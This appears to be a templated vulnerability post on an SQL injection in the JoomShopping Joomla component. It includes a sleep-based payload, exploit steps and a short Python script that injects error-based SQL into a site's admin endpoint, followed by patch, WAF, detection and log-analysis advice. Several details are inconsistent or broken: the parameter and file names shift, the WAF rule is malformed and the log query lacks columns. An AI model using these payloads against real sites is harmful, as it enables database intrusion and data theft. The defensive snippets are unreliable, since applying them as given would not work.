Listen to this Post
How the CVE Works
CVE-2025-22211 is a SQL injection vulnerability in JoomShopping component (versions 1.0.0-1.4.3) for Joomla. Authenticated attackers with administrator privileges can exploit improper input sanitization in the country management backend. Malicious SQL queries are injected through crafted HTTP requests, allowing arbitrary database manipulation, data extraction, or command execution. The vulnerability occurs due to unsanitized user-supplied parameters in `country.php` when processing country_id. Attackers bypass security checks using time-based or error-based SQLi techniques.
DailyCVE Form:
Platform: Joomla
Version: 1.0.0-1.4.3
Vulnerability: SQL Injection
Severity: Critical
Date: 04/09/2025
What Undercode Say:
Exploitation:
1. Payload Example:
admin_country_id=1' AND (SELECT 1 FROM (SELECT SLEEP(5))a)--
2. Exploit Steps:
- Authenticate as admin.
- Send crafted POST request to
/administrator/index.php?option=com_jshopping&controller=countries. - Extract DB data via UNION-based or blind SQLi.
3. Automated Exploit (Python):
import requests
target = "http://victim.site/administrator/index.php"
params = {
"option": "com_jshopping",
"controller": "countries",
"country_id": "1' AND EXTRACTVALUE(1,CONCAT(0x3a,(SELECT @@version)))--"
}
response = requests.post(target, params=params, cookies={"session": "ADMIN_COOKIE"})
print(response.text)
Protection:
1. Patch: Upgrade to JoomShopping 1.4.4+.
2. WAF Rules:
location ~ "com_jshopping.country_id" {
deny /.[';]./;
}
3. Manual Fix:
- Sanitize `country_id` in
components/com_jshopping/controllers/countries.php:$country_id = (int)$_REQUEST['country_id'];
4. Detection:
grep -r "country_id.\$_REQUEST" /var/www/html/components/com_jshopping/
5. Mitigation:
- Restrict admin panel access via IP whitelisting.
- Enable Joomla’s built-in SQLi filters.
6. Log Analysis:
SELECT FROM jos_log_entries WHERE message LIKE "%com_jshopping%country_id%";
7. Backup Recovery:
mysqldump -u root -p joomla_db > backup_pre_exploit.sql
Note: Replace placeholder values (e.g., ADMIN_COOKIE, victim.site) in commands.
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-22211
Extra Source Hub:
Undercode
